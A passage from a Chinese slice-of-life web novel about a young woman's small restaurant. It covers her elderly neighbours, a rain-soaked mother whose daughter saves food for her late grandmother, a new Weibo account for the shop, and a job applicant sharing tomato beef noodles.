“没，我盘算着到底还能来多少次，天天来的话，太容易暴露了。” 李爷爷得瑟：“你可真惨，每次出趟门跟打游击战一样，不像我，现在天天，哦不，是每顿都能吃。” “……” 梁爷爷不想理他了，两人安安静静吃了一会儿。 忽然间，门口那边传来钥匙转动的声音。 两人同时惊恐抬头，紧紧盯住那扇门，并屏住了呼吸。 下一秒，门打开，两人跟站门口的李奶奶对视上。 “……” 四周陡然静了下来，一点声音都听不见。 梁爷爷甚至还没来得及用眼神询问李爷爷“你不是说还要一周左右才回来吗”，李爷爷人就被怒气冲冲走过来的李奶奶拧着耳朵提了起来。 “好啊你，趁我不在家，疯狂吃辣是吧？吃吃吃，吃不死你！” 梁爷爷同情地看着李爷爷，同时又有点幸灾乐祸，嘴角刚提起来了一点，人还没笑出声呢，他就看见了站在门口的梁奶奶…… “……老，老婆子，你怎么会在这？” 梁爷爷说话都磕磕绊绊。 梁奶奶看了眼他面前，碗里只剩一块东坡肉，冷笑了声：“这就是你说的下午去钓鱼不回家吃饭？钓着钓着都钓到老许家来了。” “还吃肥猪肉呢？好吃不？” 梁爷爷自知理亏，声音气势变低了：“我我这也没有经常吃，就偶尔吃一顿也不行吗？我可以保证我的身体健康。” 他说着就赶紧过去给梁奶奶，又是捶背又是按摩的。 “真的！我这天天遛旺财，那么大的运动量，能跑能走的，健康得很，这偶尔的一两顿你就当奖励我吧。” 成天跟在梁爷爷身后没少被他投食贿赂的旺财也汪了两声帮求情。 梁爷爷犯错的次数没那么多。 一顿好说歹说，可算是把人哄的气消了点。 另一旁的老李可就没那么好运了。 李奶奶怀疑她离开多少天，他就吃了多少天的辣。 搞得她一气之下禁了李爷爷一个月的辣。 李爷爷一听，感觉天都要塌了，他赶紧补救：“这一个月也太长了点，老婆子，你就行行好，缩短点期限吧，大不了我再陪你去跳广场舞。” 提起这个，李奶奶就来气，“你还好意思说！上次说陪我去跳广场舞，结果你人站在隔壁打太极，这算哪门子陪？！” 梁爷爷在一旁偷笑，发现自己被杨奶奶瞪了之后，立马收敛起来。 “这次真的认真陪你跳。”李爷爷诚恳得想发誓。 李奶奶不说话，他就继续认错，并退了一步，“不能吃辣的话，那凝冬丫头店里其他不辣的菜，应该能吃吧？” 李奶奶气的是他不顾自己的身体，胡乱吃辣。 他自己管不住自己的嘴，总不能怪到别人头上。 自然是跟庄凝冬没关系。 李奶奶还是不说话，不过李爷爷看见她面色缓和了一点，便知道此事有的谈。 “反正咱们去庄家那吃饭，也是变相在帮她们嘛。” 李奶奶板着脸：“除了一个月不能吃辣外，其他都可以。” 李爷爷：“行行行，我就知道老婆子你最好了。” 只要还能吃就行。 反正庄家的饭菜，其他不辣的也好吃的不得了。 最后，梁奶奶也稍微松了口，让梁爷爷下次吃的时候记得带上她。 既然之后都打算去庄记吃饭，于是梁家和李家这两拨人就这么顺势约上了。 * 傍晚时分，邓瑜开着摩托，她今天忘了带雨衣，察觉渐大的雨势，为了安全起见，她决定在路边停下来先避避雨，等雨停了，或者小了点再走。 她把摩托车停好，人随意进了一处屋檐下。 她转身看了一眼，是一家饭馆，虽然里面大部分桌椅都坐了人，人声喧哗，还挺热闹的。 邓瑜不想阻碍人家做生意，便往旁边站了站。 过了约莫五分钟，有好些客人陆陆续续走了出来，店里依稀只剩几个人。 又过了几分钟，店里有个年轻的小姑娘走了出来，看见她后，愣了愣，大概猜到她是在躲雨，便让她进店里等。 雨势还是跟刚刚一样大，淅淅沥沥的，被风吹得斜打进来，躲在屋檐下跟没躲一样。 “你这样跟站在外面淋雨没什么区别，”庄凝冬笑着说，一眼看穿她的想法，“放心吧，不会打扰到我做生意的。” 邓瑜这才知道原来她是店里的老板。 看着那么年轻，却撑起了一家饭馆。 她眼里瞬间多了几分欣赏。 在店里坐下来后，邓瑜打量着四周，忽然想起刚刚在门外面，看见两位老人拎着一盒小丸子。 她心下一动，想买，却发现菜单上没有，只好上前问，“你好，请问你这里是有小丸子卖吗？我刚刚看到两位老爷爷从你这拎了一盒出去。” “小丸子？是这个吗？”后厨里，庄凝冬把一碟丸子端过来。 是炸丸子！ 邓瑜脸上难掩惊喜。 她女儿昨天被老师表扬了，她答应过她今天要奖励她吃炸丸子的。 不过常去的那家店今天关门了，邓瑜也因此跑了一趟空。 其实买不到也没关系，将原因跟女儿讲的话，她会理解的，但肯定会因此失落。 现在既然在这里见到了油炸丸子，邓瑜不想她女儿失望，就主动问道：“是你做来自己吃的吗？请问可以卖给我吗？我可以出双倍钱的。” 邓瑜乞求：“拜托了，我真的很需要。” 庄凝冬：“这不是店里售卖的菜式，是自己做来吃的，也没想过多少卖钱一份，既然你刚好知道我这里有，说明也有缘，那就送你好了。” “这怎么行？”邓瑜不太好意思。 两人推脱了一番，见庄凝冬一直坚持，邓瑜只好收下，并感激涕零的道了一大段谢。 跟那份打包好的小丸子一并从窗口递出的，还有一份热乎乎的姜汤。 还冒着腾腾的热气，显然是刚煮好的。 邓瑜错愕，庄凝冬解释：“虽然即将进入五月，天气不算冷了，但淋了雨还是要注意防寒的。” 邓瑜心里一阵触动：“谢谢谢谢。” 姜汤颜色呈现出一种很清澈的澄黄，莹莹透亮，闻着有股生姜独特的辛辣味，看着就让人心暖暖的。 邓瑜拿起勺子盛了一点，递到嘴边呼呼吹了几口气，慢慢喝了起来。 姜汤具有驱寒暖胃的功效。 庄凝冬在煮制过程中加了冰糖，姜的辛辣和冰糖的甘甜在熬制过程中融合在一起，辣中带甜，不像平常那些姜汤那么难喝，反而有种悠长的回甘。 “没想到姜汤也可以这么好喝，热热的，又甜。” 才喝了一点点，邓瑜就觉得身子热了起来。 暖呼呼的，很舒服。 邓瑜忙碌了一天的身子在此刻放松下来，她不紧不慢、用享受的速度一勺一勺地喝着这碗姜汤。 一碗姜汤见底，雨势也渐弱至停。 该走了。 邓瑜环顾了下四周，掏出几张钞票，用花瓶压着，随后把空碗端去指定地方放着，就出了店门。 等庄凝冬出去搞卫生的时候，才发现刚刚邓瑜坐过的桌子上，花瓶底下压着几张钞票。 邓瑜回了家。 女儿欣欣早就被老公接回来了，此刻看见她回来，一双小短腿一蹬，从椅子上跳下来，兴高采烈地奔到她怀里。 “妈妈，你回来了！” “看我给你带了什么？”邓瑜将手里的袋子提到她面前，“是昨天答应好给你买的小丸子，开不开心？” 欣欣眨着亮亮的眼睛，点头的幅度大，下巴都要戳到胸口了，“开心！” “那我们把手洗干净，来吃饭。” “好。” 等他们洗完手，欣欣爸也把饭菜都端了出来。 欣欣爸奇怪：“你不是说那家丸子店没开吗？怎么还买到了丸子，诶，不过这份看起来跟以前的不太一样，似乎要更好看。” “不是在以前那家店买的，我躲雨的时候，偶然躲到了一家饭馆的屋檐下，然后看见有人在里面提了袋丸子出来，我就去问老板娘了，说来也巧，那家饭馆的丸子是不做售卖的，还好，老板娘人好，不仅给了，还说不要我的钱。” “那你给钱了吗？” “当然，总不能白嫖吧，”邓瑜说，“我看他店里的东西总比市场价的要贵了点，结合对比了一下，给了个还不算寒碜的金额。” 欣欣爸点点头：“那挺好。” “老板娘人是真的好，不仅打算白送我丸子，注意到我淋了雨，还给我煮了碗姜汤。人家一个小姑娘做生意也不容易，我想着以后要不要多去帮衬一下。” 欣欣爸有点现实：“她的这些行为，不可否认她人是好的，但做生意，要立足于市场，还得靠自身的本事，能力不行再怎么样也是白搭，我们还是先来尝尝味道怎么样吧。” “你说的也对。”邓瑜先夹了一个，蘸了点番茄酱，然后放到欣欣的碗里，“欣欣先吃。” 然后她才给自己夹。 炸得酥脆的金黄丸子裹上一层浓稠的番茄酱，油炸的焦香里多了几分酸酸甜甜的气息，外酥里嫩又酸甜可口。 邓瑜的瞳孔猛的一缩，“……这竟然是一份炸丸子可以拥有的味道，好香好香！比以前常去的那家好吃太多了吧！” 欣欣爸也一脸不可置信：“炸的实在太好了，颜色有光泽不发黑，维持着酥脆同时又不油腻，不管从哪方面来说，都完胜以前吃过的炸丸子。” 欣欣也吃的双颊鼓起来，嘴里都要塞不下了，嘴巴上也油津津的。 问她好不好吃，塞满食物的嘴无法回答，只得忙不迭的点头。 待全部咽了下去，欣欣雀跃的声音响起：“好好吃呀，妈妈，我以后还想吃！” 邓瑜也知道好吃，但邓瑜无法答应她，因为这份干炸丸子，人家店里是不做售卖的。 “好吃就多吃点，下次，下次可能就吃不到这么好吃的丸子咯。”邓瑜给她打预防针。 “为什么呀？” 欣欣觉得震惊，遗憾。 这么好吃的小丸子，她不想再也吃不到。 也许是难以跟小孩子解释别人不做售卖的原因，邓瑜大致改了一下原由：“因为那是一位漂亮姐姐送给妈妈的，妈妈不好意思再去问人家要，欣欣懂吗？” 欣欣歪着头，微张着嘴巴，唇角还沾了点番茄酱，看上去懵懵懂懂的，也不知道她明白了没有。 过了一会儿，她缓慢的眨了眨眼睛，似懂非懂的：“懂了。” “那就是以后都吃不到这么好吃的丸子了。” 她的语气听起来很失落，连带着进食速度都慢了下来。 到最后，碗里还留有三个丸子。 欣欣却一直不吃，不知道是舍不得吃，还是怎样。 邓瑜以为她又犯了吃饭磨蹭的毛病，有意想让她改正，便逗她：“欣欣不吃了吗。那我可就要都吃完咯。” 欣欣立马阻止：“不行，不要，可不可以不要吃？” “是不让妈妈吃吗？” 欣欣爸大笑道：“那让爸爸吃？” 欣欣摇头，“都不要吃。” “欣欣也不要吃吗？” “不要。” “为什么呢？不是很好吃吗？不吃的话，只能扔掉咯，不可以浪费食物哦。” 欣欣沉默，扭捏了一会儿，才低声：“……想留给奶奶吃。” 邓瑜和欣欣爸同时顿住，一时陷入寂静。 欣欣奶奶前段时间就病逝了。 死亡是一个沉重的话题，他们不知道该怎么跟这么小的女儿讲，于是只好骗她说奶奶去了很远的地方，一时半会回不来。 没想到，她却一直记挂着。 邓瑜慢慢放轻声音：“那等奶奶回来，我们再重新给她买——” 邓瑜霎时顿住，她蓦地想起，是她刚刚说，下次就吃不到这么好吃的丸子了。 没有下次了。 所以欣欣才想在这次留住好吃到极致的丸子。 “奶奶以前总偷偷给我塞零食，这份丸子很好吃，我也想让她尝尝。”女儿问：“可以吗妈妈？” 邓瑜的心揪成一团，“可是，可是丸子有保质期的，放久了就不好吃了，欣欣也不想奶奶吃不好吃的丸子对不对？” 听到后，欣欣皱着小脸陷入纠结，过了好一会儿，她有点小倔强道：“那，那要是明天，明天的明天奶奶就回来了呢？” 她嘟囔着又说了一句：“妈妈，你以前买回来的小葡萄放在冰箱好久都不会坏来着……” 邓瑜和欣欣爸相视了一眼，都有点无措。 都这样说了，说明哪怕有一点希望她都不会放弃。 良久，邓瑜笑着摸了摸她的头，“那欣欣赶紧把饭吃完，吃完饭后，让我们一起把这份丸子放进冰箱好不好？” 女儿笑起来：“好！” 饭后，邓瑜把那三颗丸子用保鲜袋装好，打了个结，交到欣欣手里，带着她走到冰箱前。 冷冻层在下方，欣欣不明白为什么要放在这里，不过这是妈妈让做的，肯定有她的道理。 欣欣把保鲜袋珍重地放了进去，然后关上冰箱门。 奶奶你可要快点回来呀，不然就吃不上这么好吃的丸子了。 ……不过算了，还是慢一点吧，奶奶走路都晃悠悠的，千万别摔着了。 夜里，邓瑜躺在床上，看了眼女儿的睡颜，忧愁的长叹了声。 欣欣爸问，“怎么了？” “我也不知道跟女儿隐瞒咱妈的死讯对不对，是不是一开始就应该如实跟他讲，也不至于走到今天这个进退两难的地步，每次在她面前演戏我都心虚，真怕哪一天装不下去了，又或者再等她长大点被她发现了。” 一直以来，邓瑜都替自己拥有一个乖巧听话的女儿感到骄傲，身边的朋友也都说她育女有方。 可现在看来，根本不是她教的好，是女儿自己长的好。 她也不过是第一次当妈妈，什么都不懂，就连面对死亡这个话题时，她都不知道该怎么跟女儿说。 只能撒了谎。 明明，明明她在其他大部分事情上都能直接告诉她，哪怕是她这个年纪听不懂的事，她也会耐着性子跟她解释。 唯独，在死亡这件事选择了隐瞒。 “作为女儿的爸爸，我也该担一份责任，你别太过自责。等真到了那么一天，我们再跟她道歉，至于原不原谅，让她自己选择吧，你现在也别想太多了。” “也只能这样了……” 闭上眼，邓瑜想到了冰箱里的那三颗丸子。 从放进去的那一刻，它们就注定要坏掉的。 可不会坏的，是那份永恒的爱意。 * 晚上闲下来之后，庄凝冬在网上找了家各方面都不错的店铺，发了许爷爷设计的logo过去，找他们定制了相关的打包盒子。 先定了一小批，要是质量还可以的话，她再找他们长期合作。 庄凝冬想起之前顾客们催促着，喊着要上的绿豆糕。 她打算等盒子到之后，再统一做售卖。 往群里通知了这个消息，群里一片欢呼，纷纷表示可以等，只要不是不做售卖就行！ 通知完，庄凝冬打开了某个视频软件，打算先看一会儿别人做美食的教程，再去搞答辩的事。 还在找视频呢，屏幕上方就弹出了一条来自微博的大数据推送。 是来自某个酒楼的动态。 内容大概是和某个品牌方联动，发的点赞转发抽奖博文。 庄凝冬原本打算滑过的，但那一瞬间，她因此来了想法—— 她是不是也可以创一个这样的号，发布店铺的相关内容，让顾客们关注就可以随时得知店铺的动态了。 这样就不至于局限在人数有限制的微信群里。 庄凝冬动手能力强，想到就立马去干。 她参考别人的账号头像，昵称，简介，创了一个庄记的账号。 头像用的就是许爷爷设计的那个logo。 不过由于各方面的规模都没人家大，所以这个账号做的十分简陋。 点进主页一看，比人家的高仿号还磕碜。 不过庄凝冬没在意，反正只是个用来通知信息的媒介。 她把账号创建好后就分享到了顾客群里—— [大家晚上好，这是庄记的微博账号，日后店铺有什么消息都会发到这上面，比如关门不营业，要上新，搞什么活动之类的，有需要的朋友们可以关注一下，如果你们有朋友想要进群但又因为群名额满了的原因进不来的话，可以让他们关注一下这个账号哦，会在账号上会同步发在群里的重要通知的。] 第28章 第28章 纯情小y：[好诶，庄记也有账号咯！] 放老子一马：[马上关注！拖延一秒算我输！] 有种打死我：[虽然你很快，但我才是第一个关注庄记的粉丝，图片.jpg，/得意] zz：[已关注，唉，我当初备考六级要有这执行力，还会过不了？] 心平气和：[微博？从来没玩过，不过没关系，我现在就去下载。] …… 群里的大部分顾客都非常热情，看到消息之后都积极地点了个关注以示支持。 庄记饭馆的粉丝数不停往上涨，很快就突破了三位数。 网上的招聘信息挂了几天，想要来应聘的人寥寥无几，就连这则招聘信息的阅读量都没多少。 正是急需用人的时候，庄凝冬没得选，火速联系投了简历的那两个人，问什么时候有空来面试。 经过双方商榷，约在了第二天早上营业前的那段时间。 第一个来的是一位女生，五官柔和说话的声音有点小，看起来是比较文弱的那一类型。 给人的初始印象不太适合做这一行，看上去就像是那种很容易累倒的人。 但庄凝冬不以貌取人，她还是让她进后厨试干了一些活。 尽管看起来不明显，庄凝冬还是注意到她在端一些重物时，手臂会轻微发抖。 这还是刚开始干活，她的体能支撑不了太久。 看来不太合适。 庄凝冬婉拒了她，并祝她找到更好的工作。 还剩一个面试者。 距离约定好的时间已经过了半个小时，仍然未见他露面。 再过一会儿庄凝冬就要进厨房去忙了，也不知道他还来不来。 庄凝冬只好给他打了个电话，一问才知道，他不打算来了。 初次招聘，不太顺利。 庄凝冬无奈起身，开启了一天的忙碌时刻。 这天，庄凝冬把庄记饭馆的微博账号主页二维码打印了出来，放到收银台上收款码的旁边。 想到网上的招聘信息也没多少人看，庄凝冬干脆自己手写了一张招聘启事贴到了门外边。 红底黑字，足够惹眼 进门的顾客几乎都能看到。 “要招人了啊老板娘，那是不是说明以后的产量就多了，不用争抢了？” “赶紧招人吧求求了！真是受不了来晚后买不到庄记却要被群友馋的日子了。” “这什么？庄记店铺的账号？那必须得关注了呀，等会儿，扫出来的这个是什么，怎么还要登录才能关注……” 旁边，他的朋友骂了他一句：“傻逼，人家那是微博账号不是微信公众号，能先下个微博吗？” “……” 越是靠近饭点，排队的人就越多。 梁爷爷一对和李爷爷一对快步上前，站在了队伍末尾。 几人看着眼前盛况都不禁有些感慨。 还记得最初听到庄家丫头说要自己开店的时候，他们心里真是担忧极了。 好在现在一切都好起来了…… “以前咱们要什么都是直接来买的，这才短短时间，咱们来都要排队了，未来可期啊。” 李爷爷替庄家生活好转感到高兴。 梁爷爷呛他：“你也可以选择不排，还能给后面的人一个机会。” “……” 李爷爷懒得理他，凑过去跟李奶奶说话，跟她商量着，“老婆子，要不咱们以后都来这吃吧？” 李奶奶很敏感：“怎么，嫌我做饭难吃了？” “……我哪敢，我又不是这个意思，”李爷爷的小嘴跟抹了蜜似的，“天天做饭这么累，我还不是怕累着你嘛？” 李家是他们俩轮流做饭。 李奶奶：“要是真怕累着我，那你就天天做。” “……” 李奶奶：“自己馋就馋，还说的那么好听。” 李爷爷嘿嘿笑，“咱们除了每个月的退休金，儿子也会打点钱回来的嘛，就算每顿吃都撑得住，反正咱们都半截入土的人了，每天花销也不大，不花白不花，要真不够的话大不了到时候我少去小张那买花就好了。” 他话音一落，身后传来一道幽怨的声音：“……李爷爷。” 李爷爷一回头，嚯，花店的小张正站他后面呢。 “……” 李爷爷心虚的咳了声：“小张啊，我不是那个意思……” “就，唉，你放心吧，我还是会去你那买花的。” 小张此刻被辜负得要碎掉了：“好了，李爷爷，你不用说了，我都懂。” “……” 没多久，许爷爷和许奶奶两个人也走了过来，加入队伍。 他们几波相熟的人瞧见后都互相打了个招呼，寒暄了几句。 当他们一行人出现在窗口时，庄凝冬脸上难掩惊喜，她一一跟人打了个招呼：“你们怎么来了？还是排着队来的？是约好了的？” 许奶奶：“没，有缘，排队时遇见的。” 李奶奶：“你做的菜太好吃了，好吃的我们都不想自己煮了。” 梁奶奶：“可不是嘛，把我们的嘴都养叼了。” 李爷爷：“幸好，咱几人还是有几个钢镚的，不然只能光看着馋咯。” 小张委屈控诉：“李爷爷为了省钱天天来你这吃饭，都不打算到我那买花了呢。” “……” 庄凝冬对他们的一言一语逗笑， “下次你们想吃的话，可以提前跟我说，我给你们留出来，这样你们就不用排队那么辛苦了。” 梁爷爷兴奋：“真的吗？！” 梁奶奶瞪了他一眼，随后笑着看向庄凝冬：“这怎么行呢？开门做生意不好搞特殊呀。” “你们这些年来对我们家的照顾，值得这个殊荣，好了，就这么说定了，要是下次你们还排队的话我可就不卖你们了。” 庄凝冬笑，“都说说你们要什么吧。” …… 傍晚时分，许爷爷去接孙子放学，许奶奶的去了庄记买饭。 中午经过庄凝冬一说，所以这次她直接走了后院那边的门。 前面有了教训，许奶奶现在买饭都学聪明了。 要买够三个人的分量。 就不用再可怜兮兮地看着孙子吃，而自己只能流口水了。 阳阳蹦蹦跳跳的回到家，一路上嘴里不停念叨着炸丸子，炸丸子。 一想到回到家就能吃到炸丸子，他兴奋的直接跳过门槛。 落地的那一瞬，大喊道，“炸丸子，我来咯！” 客厅里的一角也随即发出一道声音：“炸丸子～炸丸子～” ——来自他家的鸟。 是一只绿色的鹦鹉，叫鹉鹉。 阳阳过去跟它互动了一会儿，许奶奶就拎着饭菜回来了。 阳阳立马抛下鹉鹉奔向餐桌。 鹉鹉：“没良心的～没良心的～” 之前都有炸丸子，但是这一次，阳阳仔仔细细把所有碟子都扫视了几遍，都没看到有。 “奶奶，我的炸丸子呢，怎么没了？” 人家的炸丸子都没拿出来卖，许奶奶不好再问人家要，总不能一直白嫖，她就只买了其他菜单上有的菜式。 “你凝冬姐姐她不做了，所以没有。” 鹉鹉幸灾乐祸：“没了～没了～” 阳阳突然泄气，觉得一天的坚持都没意义了。 呜呜呜他的炸丸子，他还没吃够呢怎么就不做了？ “好吧……”炸丸子没了，阳阳一下子就没了胃口，“我现在还不是很饿，奶奶我晚点再吃吧。” 又犯老毛病了。 许奶奶搁下筷子：“你凝冬姐姐又不是只有做炸丸子才好吃，怎么就非要炸丸子呢？” 许爷爷：“你不吃是吧？不吃拉倒，老婆子，咱们吃。” 许爷爷和许奶奶可不惯着他了。 阳阳坐在玩具堆里，餐桌那边传来轻微的吃饭声音。 听得耳朵痒痒的。 鼻尖还能嗅到空气中漂浮着的香气。 又来了。 像之前被炸丸子引诱到的那股感觉又来了。 只不过这一次，他奶奶没有再诱惑他。 阳阳撅嘴，刚刚是自己说还不饿的，如果没人叫他过去，他却自己走过去的话，会很没有面子。 他想到这，又咬牙忍了忍。 忍不到十秒，阳阳不由自主的站起身，等反应过来时，他人已经走到了餐桌前坐下了。 他悄咪咪地觑了眼爷爷奶奶，发现他们压根不注意自己后，拿起了勺子。 先给自己装了一小碗炒饭。 炒饭是咸香的，加入各种佐料在大火翻炒，哪怕是自己做的，都比普通白米饭要香。 平时家里有炒饭的话，阳阳还是会吃一点的。 他张开小嘴，吃了一勺炒饭。 好吃得阳阳都呆住了。 炒过的香菇肉卷超级香！还有那清爽的饭粒有股鸡蛋的香味，松松软软的，呜呜，也太好吃了！ 好像，好像是不比炸丸子差。 阳阳从来没有吃过这么好吃的炒饭，这股香味迅速勾起了他强忍的饥饿感。 所吞咽的食物就像掉进了无底洞，好像怎么吃都吃不够。 怎么吃都不能满足这个肚子。 舀了两勺放进嘴里，阳阳觉得吃的不爽，更是直接把嘴巴贴到了碗壁，那勺子就跟推土机一样，一下又一下的把米饭往嘴里塞。 等吃完一小碗，他才去吃别的菜。 那浸在红汤里的一只只小球球也不知道是什么，吃起来辣辣的，里面的肉肉又很香，外面那层软皮也滑溜溜的，特别好吃！ 阳阳被辣的小嘴通红，他嘶哈嘶哈了一会儿，又迫不及待地去夹鸡肉。 这只荷香鸡又滑又嫩，鸡汁特别入味，吃起来还有股甜甜的味道，刚好中和了那股麻麻的辣感。 不像奶奶以前在家做的鸡肉，又老又柴，他牙都要咬掉了都咬不动。 一轮吃下来，阳阳的肚子鼓鼓的。 他咂巴着嘴，轻轻拍着小肚子，明显满足了。 凝冬姐姐做饭可真是好吃啊！要是我是她的弟弟就好了…… 许奶奶这会才开口，笑他：“不是说不饿？不是说要晚点再吃？” 阳阳脸一红，犟道，“那，那我后来又想吃了呗，我能乖乖吃饭，你们还不高兴吗？” “不高兴，”许爷爷说，“多了个人来跟我抢吃的，真是太不爽了。” “谁抢了？这里面本来就有我的一份。” 阳阳不可思议，自己爷爷居然也跟自己抢起吃的来了，这还是以前那个处处让着自己的爷爷吗？ 阳阳：“你们你们要是不给我准备我那份，我就告诉爸爸妈妈去！哼！” “要是准备有你却不吃呢？”许奶奶说，“那我也去告诉你爸爸妈妈，让他们不给你买玩具了。” 阳阳有点急了，“我不会不吃的，只要，只要……” “只要什么？” “只要每顿都是凝冬姐姐做的饭。我都会吃的干干净净的！” 许爷爷和许奶奶交换了一个眼神，心照不宣的笑了。 总算忽悠到这个小屁孩吃饭了。 吃完饭，阳阳坐在窗边写作业。 突然间，他听到楼下街巷传来熟悉的声音，便探出了点头—— “巧巧！你怎么这么早就出来玩了？！你写完作业了？！” 巧巧是方家的小丫头，平时经常跟阳阳一起玩。 “我们今天没作业！”巧巧扬起小脸，怕他听不清，她双掌分别撑在嘴角两侧，大声道：“嘿嘿，你羡慕吧？！” 阳阳羡慕的都快要哭了，不过他还是嘴硬：“我才不羡慕呢！我比你大，年级比你高，作业比你多也是应该的。” 楼下有相熟的小伙伴们在玩，阳阳一时间也静不下心来写作业。 但没写完作业又不能出去玩，他只好撅着屁。股趴在窗户边上，神神秘秘地大喊道：“喂！巧巧！我想起了一件事！我跟你讲个秘密吧！” 听八卦是人类的天性。 就连几岁大的小毛孩也不例外。 一听有秘密，巧巧立马屏气凝神：“什么秘密？！” “那你要先答应我不许告诉别人！” “好，我一定不会告诉别人的！” “凝冬姐姐做的饭特别特别特别好吃！你记得一定要去吃！” “……” 巧巧点头：“知道了！” 附近的人：……谢谢你们俩，这下我们都知道了。 * “985高材生？985高材生来应聘我们服务员干嘛？有这种学历，不去为国家做贡献，别来卷我们这些底层了，走吧走吧。” “……” 这已经不知道是第几次被赶了。 季初曼捏着那份被扔回来的简历，背着个帆布包在街上漫无目的的走着。 她当了多久的全职妈妈就和社会脱节了多久。 辞职前年纪轻轻就混到管理层的工作经历也没能让她在空窗几年后拿到哪怕一次的面试机会。 投出去的简历如石沉大海。 季初曼不禁苦笑，现在就算是她想回职场也回不去了。 压根没人要。 她难得忧愁，忍不住跟老公诉说烦恼，企图换来一点暖心的安慰和鼓励，电话却被无情挂断—— “你一个全职太太在家当得好好的，干嘛非要去找什么工作？怎么？嫌我给的钱太少了？” “……我没有这个意思。” “没事找事干，真是给你闲的，你去干什么我不管，别碰了一鼻子灰回来还要我替你擦，整天工作就已经够烦了，行了就这样吧我还有个会要开。” 季初曼微张着嘴，听着冰冷的嘟嘟声，感觉有什么在应声而碎。 不知道从什么时候开始，老公从起初的温柔体贴变成了这样。 她没由来的一阵慌张害怕，觉得有什么东西在离自己而去，而她却无论如何都抓不住。 终于，她意识到不能再这样下去。 她现在急需一份工作。 已经不强求能坐办公室了。 只要一份正规工作就行。 然而，当她好不容易脱下孔乙己的长衫，去发现依旧不能如愿。 一方嫌她空窗几年，另一方说她学历太高不适合做这种工作。 两边都不讨好，她站在中间，卡得难受。 季初曼走到一棵树旁撑住树干，稳了稳发晕的脑袋。 越是感到难，就越不应该放弃。 她现在要是退缩了，往后只会更难。 肚子后知后觉传来一阵饥饿感，季初曼看了眼时间，才发现已经中午一点多了。 她准备随便找家店先吃饱饭再去找工作。 季初曼抬头，看到眼前就有一家饭馆。 不仅如此，她家门口还贴了一张招聘启事…… * 忙碌了一个中午，庄凝冬她们可算有时间吃午饭了。 庄凝冬端的一个大碗和两个空小碗出来。 “奶奶过来吃了。” 奶奶正在给收银台上那两条小锦鲤换水。 透明鱼缸里，底下搁着几棵水草和几颗彩色小石子，一红一白的小鲤鱼，身姿轻巧柔软，灵活地在水里蹿来蹿去。 撒了适量的鱼饲料下去，奶奶笑眯眯的：“你们慢慢吃，我也要去吃午饭啦。” 早上的时候，有相熟的街坊送来了新鲜的牛肋腩。 牛肋腩带筋带肉带油，庄凝冬便用它来做了个番茄牛腩面。 番茄还是用的后院自己种的番茄，果实圆润，香甜多汁，煮出来汤色红彤彤的，还带有浓郁的番茄味。 庄凝冬给奶奶装了一小碗。 大块大块的牛腩放在碗里满当当的，把底下的面都挡住了。 奶奶夹起一块牛腩先尝了尝。 牛腩炖的软烂入味，哪怕带了微微的嚼劲奶奶也咬得动。 除此之外，牛腩块还裹满了番茄浓郁的酸甜气息，香香甜甜的，简直不要太好吃！ 还有那面条，劲道顺滑，更是吸满了可口的番茄汤，嘶溜一下，就顺着食道丝滑的进入到了胃里。 一路留下番茄特殊的香味。 一小碗番茄牛腩面很快被吃光， 庄凝冬时刻注意着，看到奶奶吃完的一瞬，自然地拿过她的碗，“我给您装。” 奶奶不好意思地笑，“要多多的！” 从前她看着那些贪零嘴的小孩，对零食的喜爱格外狂热，笑他们吃得停不下来。 只是如今面对她孙女做的饭菜，她倒成了那贪吃的小孩，怎么吃都吃不够。 装好一碗。 碗底磕到桌面上，发出轻微的声响。 与之同时响起的还有门口的敲门声。 奶孙俩动作划一地看向门口—— 门边站的一个年轻女人。 她随意地绑着低马尾，脸颊两侧有些碎发，随意散落，五官端正，然而，此刻脸上却是疲态尽显。 她的身形消瘦，背着一个帆布袋，看起来有些朴素。 “你好，请问还有番茄土豆烩饭吗？”她看了眼菜单，点了个最便宜的。 庄凝冬：“不好意思，我们店里的饭菜都已经卖完了。” “这样……好吧，”季初曼也没有很失望，仿佛意不在此，她顿了顿又问：“那请问你们还招人吗？我看到外面贴着招聘信息……” “招的。” 庄凝冬才说完，季初曼就连忙问：“你看我行吗？” 她似乎很急，但脸上又没有浮现出兴奋的情绪，也许是因为被拒绝到麻木，所以她没抱太大希望。 招人是一个双向选择的过程，庄凝冬要看对方能不能把活干好，达到她的要求，对方也要看自己能不能承担起这些。 这都需要上手实践过才知道。 不过此刻，她还没空。 “或许你可以等等吗？我想先把饭吃完。” 季初曼点头：“没问题。” 只要给她一个机会。 “你是不是也还没吃午饭？要不过来一起吃吧？”庄凝冬发出邀请。 季初曼：“不是说店里的饭菜都卖光了吗？” “菜单上有的确实都卖光了，但我们自己吃的番茄牛腩面，厨房里还有，”不等她同意，也可能猜到她会拒绝，所以不给她拒绝的机会，庄凝冬说着就起身去后厨拿了一只空碗，“过来一起吃吧，煮多了，我跟奶奶两个人也吃不完，正好麻烦你帮忙分担一下。” 奶奶跟着劝道：“是啊，吃饱了才有力气面试嘛。” 季初曼也就不扭捏了：“谢谢。” “不够的话可以吃完再装。” 一碗番茄牛腩面被推到跟前，扑面而来一股香浓的番茄味。 汤色呈橙红，鲜亮鲜亮的，单单瞅一眼就口齿生津了。 “唔，好香啊！” “那是，我孙女做的，都特别香，特别好吃，你快尝尝。”奶奶说。 季初曼不着急吃牛腩和面条。 她先是拿起勺子舀了一点汤汁，喝了一口。 番茄汤滋味酸甜醇厚，酸和甜两种相悖的口味融合的很好，不会太酸，也不会甜的发腻。 细品，里面还有浓厚的牛腩味道。 浅浅一口就彻底把人的胃口都打开了。 “番茄汤太好喝了！”季初曼被惊到。 比她自己精心熬制的鸡汤都要好喝。 没想到路边这么一个毫不起眼的小馆子，竟然有如此美味！ 季初曼怀着期待，夹起一块牛腩放进嘴里。 牛腩切的大块厚实，却炖的软烂，口感松软如棉团，自带浓厚的牛肉香，却一点儿也不油腻。 咬下去的时候，里面溢出更多酸甜的番茄汤汁，入味的不行。 牛腩块热乎乎的，里头的汤汁更是烫，季初曼吃得急，被烫到，便嘶哈嘶哈的倒吸着凉气。 好烫！却好香。 奶奶看见她这样，哭笑不得：“慢点吃，不用急。” 季初曼觉得自己都是一个孩子的妈了，还这么不成熟，顿时有点丢人，红着脸点点头：“嗯。” 胃口被打开，一点也等不及了。 季初曼用筷子夹起几根挂满番茄色的面条，敷衍吹了两下就塞进嘴巴里。 面条根根分明，既不坨成一块，也没有软烂到一夹就碎，嚼起来有有股韧韧的劲道。 好香好香！面条也好好吃！ 也不知道这是市面上哪种面条，季初曼想买点回去煮给女儿吃，便问：“可以跟我说说这面条是在哪买的？不方便的话就算了。” 